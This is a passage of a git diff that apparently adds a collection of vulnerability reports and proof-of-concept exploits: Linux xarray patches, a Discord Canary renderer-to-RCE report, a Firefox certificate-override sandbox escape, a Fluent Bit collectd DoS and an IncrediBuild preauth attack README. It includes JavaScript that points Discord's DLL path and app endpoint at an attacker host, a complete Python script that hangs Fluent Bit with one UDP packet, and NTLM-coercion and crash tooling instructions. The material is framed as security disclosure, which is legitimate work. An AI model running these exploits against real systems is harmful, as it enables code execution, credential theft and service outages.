https://syzkaller.appspot.com/ai_job?id=a01c56bd-74d0-411c-afb4-ee6f0cb6cb61 +Signed-off-by: Tim van Moorsel +--- + lib/xarray.c | 8 +++++--- + 1 file changed, 5 insertions(+), 3 deletions(-) + +diff --git a/lib/xarray.c b/lib/xarray.c +index 9a8b4916540c..980324d686bd 100644 +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1406,9 +1406,11 @@ void *xas_find(struct xa_state *xas, unsigned long max) + entry = xas_load(xas); + if (entry || xas_not_node(xas->xa_node)) + return entry; +- } else if (!xas->xa_node->shift && +- xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +- xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ } else if (xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) { ++ if (!xas->xa_node->shift) ++ xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ else ++ xas->xa_offset = get_offset(xas->xa_index, xas->xa_node); + } + + xas_next_offset(xas); +-- +2.43.0.windows.1 + diff --git a/dirty-crow-xarray-lpe/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch b/dirty-crow-xarray-lpe/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch new file mode 100644 index 0000000..8633ec5 --- /dev/null +++ b/dirty-crow-xarray-lpe/patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch @@ -0,0 +1,49 @@ +From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 +From: Tim van Moorsel +Date: Sat, 5 Sep 2026 12:00:01 +0200 +Subject: [PATCH v4.20 2/2] xarray: resync non-leaf offset before + advancing + +xas_find() can return a multi-index entry from a non-leaf node while +xa_index identifies a position inside the entry and xa_offset still points +at the entry's canonical sibling slot. If the entry is replaced before the +iterator resumes, that stale offset can descend through an earlier sibling +and move xa_index backwards. + +Recalculate xa_offset from xa_index at non-leaf levels before advancing. +Retain the existing leaf wraparound adjustment because its +1 convention +preserves the slot-to-slot transition expected by xas_advance(). + +This is the Linux v4.20-context form of the public candidate fix; the +release calls xas_advance() where current kernels call xas_next_offset(). + +Reported-by: syzbot+b72767277f29b6407083@syzkaller.appspotmail.com +Link: https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083 +Signed-off-by: Tim van Moorsel +--- + lib/xarray.c | 10 +++++++--- + 1 file changed, 7 insertions(+), 3 deletions(-) + +diff --git a/lib/xarray.c b/lib/xarray.c +index 5f3f9311d..b016527b2 100644 +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1061,9 +1061,13 @@ void *xas_find(struct xa_state *xas, unsigned long max) + entry = xas_load(xas); + if (entry || xas_not_node(xas->xa_node)) + return entry; +- } else if (!xas->xa_node->shift && +- xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) { +- xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; ++ } else if (xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) { ++ if (!xas->xa_node->shift) ++ xas->xa_offset = ((xas->xa_index - 1) & ++ XA_CHUNK_MASK) + 1; ++ else ++ xas->xa_offset = get_offset(xas->xa_index, ++ xas->xa_node); + } + + xas_advance(xas); +-- +2.43.0.windows.1 diff --git a/discord/discord-RCE-attack-paths.md b/discord/discord-RCE-attack-paths.md new file mode 100644 index 0000000..9a67d6d --- /dev/null +++ b/discord/discord-RCE-attack-paths.md @@ -0,0 +1,134 @@ +# Discord Desktop Canary — Security Vulnerability Report + +## Summary + +Multiple high-severity vulnerabilities in Discord Desktop (Canary v1.0.979, Electron 37.6.0) allow escalation from renderer-context JavaScript execution to arbitrary code execution on the host system. The renderer exposes overly-permissive native module APIs through `DiscordNative` that enable DLL hijacking, arbitrary settings manipulation, and system service installation — all without any additional authorization checks. + +While these primitives require JavaScript execution in the renderer, the attack surface is wide: any browser extension with content script access to Discord (BetterDiscord, Vencord, and similar mods used by millions), any future XSS in Discord or its whitelisted embed providers, or social engineering via DevTools can trigger the full chain. + +--- + +## Vulnerability 1: Native Module Path Hijacking → RCE (HIGH) + +**Impact: Remote Code Execution via DLL hijacking** + +### Description + +Discord's `discord_voice` native module exposes several path-setting functions to the renderer via `DiscordNative.nativeModules.requireModule('discord_voice')`. These functions allow **unrestricted redirection** of where Discord loads native libraries from: + +- `setKrispPath(path)` — Controls where the Krisp noise cancellation DLL is loaded from +- `setupKrispPath(path)` — Same +- `setMLPath(path)` — Controls where ML model libraries are loaded from +- `setupMLPath(path)` — Same +- `setClipsModulePath(path)` — Controls where the clips processing module is loaded from +- `setClipsDataPath(path)` — Controls where clips are saved to + +### Proof of Concept + +From any JavaScript running in Discord's renderer context: + +```javascript +let dv = await DiscordNative.nativeModules.requireModule('discord_voice'); + +// Redirect Krisp DLL loading to attacker-controlled SMB share +dv.setKrispPath('\\\\attacker.com\\share'); + +// Or redirect to a local attacker-controlled directory +dv.setKrispPath('C:\\Users\\victim\\Downloads\\evil'); + +// When user enables noise cancellation → DLL loads from attacker path → RCE +``` + +All calls succeed silently with no validation, no user prompt, and no path restrictions. + +### Impact + +When the user subsequently enables noise cancellation (Krisp), uses ML-based features, or records a clip, Discord loads native code from the attacker-controlled path. This achieves **arbitrary code execution** at the privilege level of the Discord process. + +--- + +## Vulnerability 2: Settings Whitelist Bypass via gpuSettings.setSetting (HIGH) + +### Description + +Discord exposes two APIs for writing settings: +- `DiscordNative.settings.set(key, value)` — Has a whitelist of allowed keys ✅ +- `DiscordNative.gpuSettings.setSetting(key, value)` — **No whitelist, writes ANY key** ❌ + +### Proof of Concept + +```javascript +// Bypass settings whitelist — write to any key in settings.json +DiscordNative.gpuSettings.setSetting("WEBAPP_ENDPOINT", "https://attacker.com"); +DiscordNative.gpuSettings.setSetting("SKIP_HOST_UPDATE", true); +DiscordNative.gpuSettings.setSetting("DANGEROUS_ENABLE_DEVTOOLS_ONLY_ENABLE_IF_YOU_KNOW_WHAT_YOURE_DOING", true); + +// Force restart to apply +DiscordNative.gpuSettings.setEnableHardwareAcceleration(false); // triggers relaunch +``` + +### Impact + +- **WEBAPP_ENDPOINT override**: On next launch, Discord loads the attacker's webpage as its main interface, with full `DiscordNative` access → persistent RCE +- **UPDATE_ENDPOINT override**: Next update fetches from attacker server → malicious update → RCE +- **DevTools enable**: Enables Chrome DevTools for further exploitation +- **Update bypass**: `SKIP_HOST_UPDATE` + `SKIP_MODULE_UPDATE` prevent security patches + +--- + +## Vulnerability 3: Unsafe Embed Iframe Sandbox Configuration (MEDIUM) + +### Description + +Discord renders embeds from whitelisted providers (Spotify, YouTube, TikTok, PlayStation) in iframes with an overly-permissive sandbox: + +``` +allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts +``` + +The `allow-popups-to-escape-sandbox` directive means any popup opened from the embed iframe has **no sandbox restrictions at all**. Combined with `allow-same-origin` and `allow-scripts`, an XSS in any whitelisted embed provider could escape the sandbox entirely. + +### Impact + +An XSS in Spotify, YouTube, TikTok, or any other whitelisted embed provider → popup escape → potential access to Discord's main window context. This turns a third-party XSS into a Discord compromise. + +--- + +## Vulnerability 4: System Service Installation from Renderer (MEDIUM) + +### Description + +`discord_utils.installSystemService()` is accessible from the renderer with no additional authentication: + +```javascript +let du = await DiscordNative.nativeModules.requireModule('discord_utils'); +du.canSystemServiceBeInstalled(); // returns true +du.installSystemService(); // installs a system service +``` + +### Impact + +A system service runs with elevated privileges and persists across reboots. Combined with the path hijacking vulnerabilities, an attacker could install a persistent backdoor. + +--- + +## Environment + +- Discord Canary v1.0.979 +- Electron 37.6.0 +- Chromium 138.0.7204.251 +- Windows 10/11 x64 +- All tests performed on 2026-06-05 + +## Attack Scenarios + +### Scenario 1: Malicious Browser Extension +Millions of Discord users use client modifications (BetterDiscord, Vencord, Replugged) that inject JavaScript into the renderer. A malicious plugin — or a supply chain attack on a popular plugin — could silently call any of the above APIs. + +### Scenario 2: Third-Party Embed XSS Chain +An XSS on any whitelisted embed provider (Spotify, YouTube, etc.) → sandbox escape via `allow-popups-to-escape-sandbox` → access to Discord window → call DiscordNative APIs → RCE. + +### Scenario 3: Social Engineering +Tricking a user into pasting JavaScript into DevTools (if enabled via Vuln 2) or running a bookmark-let. + +--- diff --git a/firefox-cert-override-sandbox-escape-poc/README.md b/firefox-cert-override-sandbox-escape-poc/README.md new file mode 100644 index 0000000..892d72d --- /dev/null +++ b/firefox-cert-override-sandbox-escape-poc/README.md @@ -0,0 +1,128 @@ +# Firefox IPC Sandbox Escape: Unvalidated Certificate Override Registration + +A compromised content (renderer) process can register TLS certificate overrides for arbitrary hostnames by sending a crafted `AddCertException` IPC message to the privileged parent process. The parent-side handler performs zero validation on the hostname, certificate, or calling process. This allows a sandbox-escaped attacker to silently pre-authorize MITM attacks against any non-HSTS-preloaded website. + +Default Firefox. No flags, no extensions. + +## Target + +| Field | Value | +| --- | --- | +| Product | Firefox (stock, all platforms) | +| Component | `dom/ipc/ContentParent.cpp`, `PContent.ipdl`, `nsCertOverrideService.cpp` | +| Severity | sec-high (sandbox escape enabling silent MITM) | +| Prereq | Renderer RCE (content process compromise) + network MITM position | + +## Root Cause + +`ContentParent::RecvAddCertException` at `dom/ipc/ContentParent.cpp:6469` directly forwards every parameter from the content process to `nsICertOverrideService::RememberValidityOverride()`: + +```cpp +mozilla::ipc::IPCResult ContentParent::RecvAddCertException( + nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort, + const OriginAttributes& aOriginAttributes, bool aIsTemporary, + AddCertExceptionResolver&& aResolver) { + nsCOMPtr overrideService = + do_GetService(NS_CERTOVERRIDE_CONTRACTID); + if (!overrideService) { + aResolver(NS_ERROR_FAILURE); + return IPC_OK(); + } + nsresult rv = overrideService->RememberValidityOverride( + aHostName, aPort, aOriginAttributes, aCert, aIsTemporary); + aResolver(rv); + return IPC_OK(); +} +``` + +No `ValidatePrincipal()` call. No check that `aHostName` belongs to the content process's origin. No check that `aCert` was the actual server cert from a failed TLS connection. No process-type or remote-type restriction. + +The IPC definition in `PContent.ipdl:1612` is a plain `async child -> parent` with no annotations: + +``` +async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName, + int32_t aPort, OriginAttributes aOriginAttributes, + bool aIsTemporary) + returns (nsresult success); +``` + +Any content process can send it. + +## Source Trace + +| File | Behavior | +| --- | --- | +| `dom/ipc/ContentParent.cpp:6469` | `RecvAddCertException` — blindly forwards all params to `RememberValidityOverride` | +| `dom/ipc/PContent.ipdl:1612` | IPC definition — no annotations, any content process can send | +| `security/manager/ssl/nsCertOverrideService.cpp:383` | `RememberValidityOverride` — validates only hostname non-empty + ASCII, cert non-null | +| `security/manager/ssl/SSLServerCertVerification.cpp:660-712` | `DetermineCertOverrideErrors` — checks HSTS, then `HasMatchingOverride` → suppresses cert error if fingerprint matches | +| `security/manager/ssl/nsCertOverrideService.cpp:429` | `HasMatchingOverride` — looks up by hostname+port, compares SHA256 fingerprints | + +### Contrast with the legitimate caller + +`Document::AddCertException` at `dom/base/Document.cpp:1592` derives the hostname from `NS_GetFinalChannelURI(mFailedChannel)` and the cert from `tsi->GetServerCert()` — both constrained to the actual failed TLS connection. The content-side code is correct, but the parent-side handler trusts arbitrary values. + +## Attack Chain + +``` +Compromised content process + -> SendAddCertException(mitm_cert, "bank.com", 443, attrs, false) + -> Parent: RecvAddCertException (no validation) + -> nsCertOverrideService::RememberValidityOverride stores fingerprint + -> Write() persists to cert_override.txt + +[Later, user visits bank.com with attacker in MITM position] + + -> SSLServerCertVerification: cert error detected + -> OverrideAllowedForHost: bank.com not HSTS-preloaded -> allowed + -> HasMatchingOverride: stored fingerprint == presented cert -> match + -> return 0 -> CERT ERROR SUPPRESSED -> no warning -> silent MITM +``` + +1. Attacker achieves renderer RCE (JIT bug, memory corruption, etc.) +2. Compromised content process generates or loads a self-signed certificate for the target domain +3. Sends `SendAddCertException(attacker_cert, "bank.com", 443, default_attrs, false)` +4. Parent process stores the override — fingerprint written to `cert_override.txt` on disk (survives restarts) +5. When user later visits `bank.com` with attacker in MITM position: attacker presents the same self-signed cert, fingerprint matches stored override, cert error is silently suppressed. No warning shown. + +### Why fingerprint matching is not a barrier + +The attacker controls both the cert passed to `SendAddCertException()` (determines stored fingerprint) and the cert presented during MITM. Same cert = same fingerprint = match. + +### HSTS limitation + +`OverrideAllowedForHost()` checks HSTS preload and static pinning before checking overrides. HSTS-preloaded sites (google.com, facebook.com) are protected. But the vast majority of HTTPS websites, including banking, corporate, and healthcare portals, are not in the preload list. + +### Persistence + +- `aIsTemporary=true`: override persists in memory until browser restart +- `aIsTemporary=false`: written to `cert_override.txt` on disk — survives browser restarts + +## Validation + +Each step verified through source analysis: + +| Step | Status | Evidence | +| --- | --- | --- | +| IPC message delivery | CONFIRMED | `PContent.ipdl:1612` — no annotations, any content process can send | +| Parent handler accepts arbitrary data | CONFIRMED | `ContentParent.cpp:6469` — no `ValidatePrincipal`, no hostname check | +| Override storage | CONFIRMED | `nsCertOverrideService.cpp:383` — validates only non-empty ASCII hostname | +| Override honored during TLS | CONFIRMED | `SSLServerCertVerification.cpp:702-708` — fingerprint match -> return 0 -> no warning | + +## Additional Finding: ValidatePrincipal Log-and-Continue + +Multiple other handlers in `ContentParent.cpp` call `ValidatePrincipal()` but only log on failure. In release builds, `MOZ_ASSERT(false)` is stripped, so execution continues. Affected handlers include `RecvStoreAndBroadcastBlobURLRegistration` (accepts system principal), `RecvStoreUserInteractionAsPermission`, `RecvAutomaticStorageAccessPermissionCanBeGranted`, and `RecvConstructPopupBrowser`. + +## Related + +- **CVE-2017-5456** (Bug 1344415) — same pattern: `PFileSystemRequestConstructor` IPC handler trusted content process without validation + +## Fix Direction + +The safest fix is removing the IPC message entirely. Cert error pages (`about:certerror`) run with chrome privileges and can call `nsICertOverrideService` directly without crossing the sandbox boundary. + +Short of that: validate hostname against the content process's registered domains, or have the parent look up the failed channel and derive host and cert itself instead of trusting content-supplied values. + +## Responsible Use + +Only use this against systems you own or have explicit permission to test. diff --git a/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md new file mode 100644 index 0000000..c298219 --- /dev/null +++ b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md @@ -0,0 +1,274 @@ +# Fluent Bit ≤ main@29deec9: in_collectd Infinite Loop DoS + OOB Heap Read via Zero-Length Part + +## Summary + +Fluent Bit's collectd binary protocol parser (`plugins/in_collectd/netprot.c`) contains two related vulnerabilities triggered by a single 4-byte UDP packet: + +1. **Infinite loop DoS** — when the `part_len` field in a collectd binary protocol part header is `0`, the main parsing loop `while (len >= 4)` never terminates. `len -= part_len` and `buf += part_len` both become no-ops, permanently hanging the collectd input thread. Any external host that can reach the collectd UDP port can freeze Fluent Bit's data ingestion from all collectd sources with a single 4-byte packet. + +2. **8-byte heap OOB read** — when `part_len=0` and `part_type=PART_TIME` (or `PART_TIME_HR`, `PART_INTERVAL`, `PART_INTERVAL_HR`), a secondary guard intended to catch truncated time fields fails silently due to a signed/unsigned integer comparison bug (`int size = -4` compared against `size_t 8` — the negative int wraps to a huge unsigned value, making the check `false`). The parser then calls `be64read(buf + 4)` — reading 8 bytes starting 4 bytes past the end of a 4-byte packet — leaking adjacent heap memory. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | Fluent Bit (https://github.com/fluent/fluent-bit) | +| **Version / commit** | main @ `29deec9e72a5e1ccc9996a58481bc7ba4d60353d` (2026-04-20); all prior versions with in_collectd | +| **File** | `plugins/in_collectd/netprot.c` | +| **Function** | `netprot_to_msgpack()` — line 237 | +| **Affected configurations** | Any Fluent Bit deployment with `[INPUT] Name collectd` (UDP port 25826 by default) | + +--- + +## Vulnerability Class + +1. **Infinite loop denial of service** — missing lower-bound check on a network-supplied length field +2. **Heap out-of-bounds read** — signed/unsigned comparison suppresses a truncation guard, then `be64read` reads past the allocated UDP packet buffer + +--- + +## Root Cause + +### Bug 1 — Infinite Loop (part_len = 0) + +```c +// plugins/in_collectd/netprot.c:237 +int netprot_to_msgpack(char *buf, int len, ...) +{ + uint16_t part_type; + uint16_t part_len; + int size; + char *ptr; + + while (len >= 4) { // [1] loop exits only when len < 4 + part_type = be16read(buf); + part_len = be16read((unsigned char *) buf + 2); + + if (len < part_len) { // [2] if part_len=0: 4 < 0u → FALSE + flb_error("[in_collectd] data truncated (%i < %i)", len, part_len); + return -1; + } + + ptr = buf + 4; + size = part_len - 4; // [3] size = 0 - 4 = -4 (signed int) + + // ... switch on part_type ... + + len -= part_len; // [4] len -= 0 → len unchanged + buf += part_len; // [5] buf += 0 → buf unchanged + } // → back to [1]: same state → infinite loop + return 0; +} +``` + +The guard at `[2]` uses `int len` vs `uint16_t part_len`. Both values are non-negative and `uint16_t` promotes to `int`, so the comparison is `int < int`. When `part_len=0`, the check is `4 < 0` = false — the guard does not fire. Lines `[4]` and `[5]` are no-ops, and the loop condition at `[1]` is permanently satisfied. + +The thread spins at 100% CPU until the Fluent Bit process is killed or restarted. + +### Bug 2 — OOB Heap Read (part_len = 0, part_type = PART_TIME) + +```c +// line 258 +if ((part_type == PART_TIME || + part_type == PART_TIME_HR || + part_type == PART_INTERVAL || + part_type == PART_INTERVAL_HR) && + size < sizeof(uint64_t)) { // [6] BUG: signed/unsigned comparison + flb_error("[in_collectd] data truncated (%i < %zu)", size, sizeof(uint64_t)); + return -1; +} + +// line 275 +case PART_TIME: + hdr.time = (double) be64read(ptr); // [7] be64read(buf+4) — OOB if packet is 4 bytes + break; +``` + +At `[6]`: `size` is `int` and `sizeof(uint64_t)` is `size_t` (unsigned). When `size = -4`, the C integer promotion rules convert the `int` to `size_t`: `(size_t)(-4)` = `0xFFFFFFFC` (32-bit) or `0xFFFFFFFFFFFFFFFC` (64-bit) — a huge positive value. The comparison `huge < 8` is `false`. The guard intended to catch truncated time fields does not fire. + +At `[7]`: `ptr = buf + 4`. For a 4-byte UDP packet, `buf + 4` points one byte past the end of the allocated packet buffer. `be64read` reads 8 bytes starting there — leaking 8 bytes of adjacent heap memory. + +**Verification:** +```python +>>> import ctypes +>>> size = ctypes.c_int(-4).value # int -4 +>>> ctypes.c_ulong(size).value # promoted to size_t +4294967292 +>>> 4294967292 < 8 # the guard check +False +# Guard does not fire → be64read called with out-of-bounds ptr +``` + +--- + +## Attacker Model + +| Property | Value | +|---|---| +| **Privileges required** | None — unauthenticated UDP | +| **Network position** | Any host that can reach the collectd UDP port (default 25826) | +| **User interaction** | None | +| **Precondition** | `[INPUT] Name collectd` configured in Fluent Bit | + +The collectd input plugin listens on a raw UDP socket. There is no authentication, session state, or rate limiting in the parsing path. A single 4-byte packet is sufficient to trigger the infinite loop. + +--- + +## Full Attack Chain + +``` +[Attacker — any host] + | + | 1. Send 4-byte UDP packet to Fluent Bit collectd port (default 25826): + | bytes: \x00\x00\x00\x00 + | part_type = 0x0000 (PART_HOST) + | part_len = 0x0000 → infinite loop trigger + | + v +[Fluent Bit in_collectd input thread] + | + | 2. netprot_to_msgpack() called with buf=[4 bytes], len=4 + | Loop: len(4) >= 4 → enter + | part_type=0, part_len=0 + | Guard: 4 < 0 → FALSE → no exit + | len -= 0 → len=4 (unchanged) + | buf += 0 → buf unchanged + | → Loop repeats forever + | + v +[in_collectd input thread spins at 100% CPU indefinitely] +[All subsequent collectd events are blocked — no new data ingested] +[Fluent Bit process must be restarted to recover] + +For OOB read variant: + | + | 1. Send \x00\x01\x00\x00 (part_type=PART_TIME=0x0001, part_len=0) + | + v +[be64read(buf+4) reads 8 bytes past end of 4-byte packet] +[8 bytes of adjacent heap memory leaked into hdr.time] +[Then infinite loop begins] +``` + +--- + +## Proof of Concept + +### poc_fluent_bit_collectd_dos.py + +```python +#!/usr/bin/env python3 +""" +poc_fluent_bit_collectd_dos.py +Fluent Bit in_collectd Infinite Loop DoS + +Root cause: + netprot_to_msgpack() in plugins/in_collectd/netprot.c: + - part_len=0 → len -= 0, buf += 0 → infinite loop + - Guard (len < part_len) does not fire: 4 < 0u → false + +Trigger: + Send a 4-byte UDP packet with part_len=0 to the collectd port. + A single packet permanently hangs the Fluent Bit collectd input thread. + +Usage: + python3 poc_fluent_bit_collectd_dos.py [--host 127.0.0.1] [--port 25826] + +Expected result: + Fluent Bit collectd input thread spins at 100% CPU. + No further collectd events are processed until Fluent Bit is restarted. +""" + +import socket +import sys +import argparse +import struct + +DEFAULT_HOST = "127.0.0.1" +DEFAULT_PORT = 25826 + + +def build_infinite_loop_packet(): + """ + Minimal collectd binary protocol packet that triggers the infinite loop. + Format: [part_type: uint16_be][part_len: uint16_be] + part_type = 0x0000 (PART_HOST) — any valid type works + part_len = 0x0000 — triggers len-=0, buf+=0 infinite loop + """ + return struct.pack(">HH", 0x0000, 0x0000) + + +def build_oob_read_packet(): + """ + OOB read variant: part_type=PART_TIME (0x0001), part_len=0. + Causes be64read(buf+4) on a 4-byte packet before the infinite loop. + Leaks 8 bytes of adjacent heap memory into hdr.time. + """ + return struct.pack(">HH", 0x0001, 0x0000) + + +def main(): + parser = argparse.ArgumentParser( + description="Fluent Bit in_collectd infinite loop DoS PoC" + ) + parser.add_argument("--host", default=DEFAULT_HOST) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument( + "--variant", + choices=["dos", "oob"], + default="dos", + help="dos: infinite loop only; oob: OOB heap read + infinite loop", + ) + args = parser.parse_args() + + if args.variant == "dos": + pkt = build_infinite_loop_packet() + label = "infinite loop DoS (part_type=PART_HOST, part_len=0)" + else: + pkt = build_oob_read_packet() + label = "OOB heap read + infinite loop (part_type=PART_TIME, part_len=0)" + + print(f"[*] Fluent Bit in_collectd — {label}") + print(f"[*] Target: {args.host}:{args.port}/UDP") + print(f"[*] Packet ({len(pkt)} bytes): {pkt.hex()}") + + assert len(pkt) == 4, "packet must be exactly 4 bytes" + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(pkt, (args.host, args.port)) + sock.close() + + print("[+] Packet sent.") + print("[+] Verify:") + print(" top -p $(pgrep fluent-bit) # expect 100% CPU on collectd input thread") + print(" fluent-bit log should show no new collectd events arriving") + print(" kill -9 $(pgrep fluent-bit) # only way to recover") + + +if __name__ == "__main__": + main() +``` + +### Expected output in Fluent Bit: + +The collectd input thread enters an infinite loop. CPU usage for the Fluent Bit process rises to near-100% on one core. No new collectd events are processed. The Fluent Bit process must be killed and restarted to recover. No crash log or error message is produced — the process appears "alive" but is deadlocked in the parsing loop. + +--- + +## Impact + +1. **Reliable, permanent DoS of collectd data ingestion** — a single 4-byte UDP packet hangs the collectd input thread. Because Fluent Bit is single-threaded per input plugin, all collectd data forwarding stops. + +2. **No authentication or rate limiting** — the collectd port accepts unauthenticated UDP packets. Any host on the network (or internet, if the port is exposed) can trigger the hang. + +3. **Silent failure** — Fluent Bit does not detect the hang. No error is logged, no alert is raised. Operators may not notice for an extended period, depending on monitoring. + +4. **Heap OOB read (secondary)** — the `PART_TIME` variant leaks 8 bytes of adjacent heap memory into `hdr.time`. In practice this is difficult to weaponize (double cast of heap data) but may contribute to a more complex chain. + +**CVSS 3.1 (DoS):** `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **7.5 (High)** + +(No authentication required, single packet, complete availability loss for the plugin) + +--- diff --git a/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto b/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto new file mode 100644 index 0000000..b8d4347 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto @@ -0,0 +1,76 @@ +syntax = "proto3"; + +package LicenseGRPCService; + +message Void {} + +message ActivateLicenseRequest { + string licenseKey = 1; +} + +message LoadOfflineLicenseRequest { + string offlineLicensePath = 1; +} + +message RegisterCoordinatorRequest { + string coordinatorId = 1; +} + +message LicenseInfoRequest { + string coordinatorId = 1; +} + +message AgentInfo { + string coordinatorId = 1; + string agentName = 2; + string machineId = 3; +} + +message RegisterAgentRequest { + AgentInfo Agent = 1; + RegistrationType initiatorRegType = 2; + RegistrationType ciInitiatorRegType = 3; + RegistrationType helperRegType = 4; + int32 numOfCores = 5; + bool Online = 6; + + enum RegistrationType { + None = 0; + Floating = 1; + Fixed = 2; + } +} + +message RegisterBuildAvoidanceRequest { + AgentInfo Agent = 1; + bool Enable = 2; +} + +message JsonResponse { + string JsonString = 1; +} + +message BooleanResponse { + bool Result = 1; + string ErrorMessage = 2; +} + +message GetLicenseInfoRequest {} +message GetMonthlyUsageRequest {} +message GetActiveUsageRequest {} +message GetMonthlyUsagePerUserRequest {} + +service LicenseGRPCServiceApi { + rpc activateLicense(ActivateLicenseRequest) returns (JsonResponse); + rpc activateOfflineLicense(ActivateLicenseRequest) returns (JsonResponse); + rpc loadOfflineLicense(LoadOfflineLicenseRequest) returns (JsonResponse); + rpc deactivateLicense(Void) returns (JsonResponse); + rpc deactivateOfflineLicense(Void) returns (JsonResponse); + rpc refreshLicense(Void) returns (JsonResponse); + rpc registerCoordinator(RegisterCoordinatorRequest) returns (BooleanResponse); + rpc getLicenseInfo(LicenseInfoRequest) returns (JsonResponse); + rpc registerAgent(RegisterAgentRequest) returns (JsonResponse); + rpc registerBuildAvoidance(RegisterBuildAvoidanceRequest) returns (JsonResponse); + rpc queryAgent(AgentInfo) returns (JsonResponse); + rpc shutdown(Void) returns (Void); +} diff --git a/incredibuild-grpc-preauth-poc/README.md b/incredibuild-grpc-preauth-poc/README.md new file mode 100644 index 0000000..a0e48f3 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/README.md @@ -0,0 +1,110 @@ +# IncrediBuild 10.1.11 LicenseService -- Preauth Attack Surface + +IncrediBuild ships a gRPC service (`LicenseService.exe`) on port 50052 that runs as SYSTEM with zero authentication. Every single RPC method is wide open. No TLS, no tokens, no nothing. It binds `0.0.0.0` by default so the entire network can talk to it. + +There's also a REST API (`RestService.exe`) on port 8000 with its own set of problems. The "encryption" is XOR with a hardcoded key. I'm serious. + +Tested on IncrediBuild 10.1.11 (build 5157), Windows. All findings are preauth and network-reachable. + +## Target + +- IncrediBuild 10.1.11 Build 5157 +- LicenseService on TCP 50052 (gRPC, plaintext, SYSTEM) +- RestService on TCP 8000 (HTTP, SYSTEM) +- Both bind 0.0.0.0, Windows Firewall rules set to Allow for all profiles + +## Findings + +### 1. NTLM Coercion via UNC Path (High -- CVSS 8.1) + +The `loadOfflineLicense` RPC takes a file path and just opens it. Feed it a UNC path like `\\attacker\share\license.dat` and the service connects out as SYSTEM, leaking the machine's NTLM hash. Classic relay-to-DA if you're on a domain. + +The service blocks for ~21 seconds on non-routable IPs (SMB timeout), which also confirms the coercion is happening even without a listener. + +See `ntlm_coerce.py`. + +### 2. File Existence Oracle (Medium) + +Same `loadOfflineLicense` RPC gives different error messages for files that exist vs files that don't. You get three distinguishable states: file exists (parse error), file doesn't exist (file not found), directory (different error). Free filesystem enumeration as SYSTEM. + +See `file_oracle.py`. + +### 3. Info Disclosure via activateOfflineLicense (Medium) + +`activateOfflineLicense` returns internal error details including filesystem paths and service internals in its JSON response. Not huge on its own but useful for chaining. + +### 4. Preauth Service Shutdown DoS (High -- CVSS 7.5) + +The `shutdown` RPC does exactly what you think. Anyone on the network can call it and the service just... stops. No restart, no recovery. One gRPC call and the build farm is down. + +### 5. Unauthorized Coordinator/Agent Registration (Medium) + +`registerCoordinator` and `registerAgent` let you inject fake build nodes into the cluster. Could mess with build routing or be used to intercept build traffic. No auth check on either. + +### 6. RestService Preauth Crash #1 (High -- CVSS 7.5) + +Sending raw (non-XOR-encoded) POST data to `/api/login` crashes RestService.exe at RVA `0x000ec3a2`. Access violation, no recovery, service stays dead. Looks like it tries to decode the input, gets garbage, and dereferences something it shouldn't. + +See `crash_dos.py`. + +### 7. Insecure Apache CGI Configuration LPE (High -- CVSS 7.8) + +IncrediBuild ships Apache with CGI enabled pointing at the install directory. If you can write a `.bat` or `.cgi` file to the web root (standard user can in some configurations), Apache executes it as SYSTEM. Local priv esc. + +### 8. Preauth Coordinator Status Disclosure (Low) + +`/api/coordinator_status` on the REST API is preauth. Returns coordinator version, hostname, and configuration details. XOR "encrypted" but the key is hardcoded (see #9). + +### 9. Hardcoded XOR Encryption Key (Medium) + +The entire REST API uses XOR + base64 for request/response encoding. The key is `IBX_cloud_awesome`. Hardcoded in the binary. Every installation uses the same key. This is not encryption, it's obfuscation that anyone can reverse in 30 seconds. + +See `rest_client.py`. + +### 10. RestService Preauth Crash #2 (High -- CVSS 7.5) + +Sending XOR-encoded JSON with unexpected types (null, boolean, integer where strings are expected) crashes RestService.exe at a different address -- RVA `0x00092169`. Type confusion in the JSON parser. Also preauth, also no recovery. + +See `crash_dos.py`. + +### 11. RSA Private Key Exposed (Medium) + +`BuildService.key` in the install directory contains the RSA private key used for service communication. Readable by any local user. Default install path: `C:\Program Files (x86)\Incredibuild\BuildService.key`. + +## Files + +- `ntlm_coerce.py` -- NTLM hash coercion via gRPC UNC path injection +- `file_oracle.py` -- file existence oracle via loadOfflineLicense +- `rest_client.py` -- REST API client with XOR decode, coordinator status dump +- `crash_dos.py` -- both preauth crash paths (raw POST and type confusion) +- `LicenseGRPCService.proto` -- proto definition, generate stubs with `grpc_tools` + +## Setup + +You need the gRPC stubs. Generate them from the proto: + +```bash +pip install grpcio grpcio-tools +python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. LicenseGRPCService.proto +``` + +This gives you `LicenseGRPCService_pb2.py` and `LicenseGRPCService_pb2_grpc.py`. All the PoCs import from these. + +Point the scripts at the target: + +```bash +python ntlm_coerce.py --target 10.0.0.5 --listener 10.0.0.1 +python file_oracle.py --target 10.0.0.5 --path 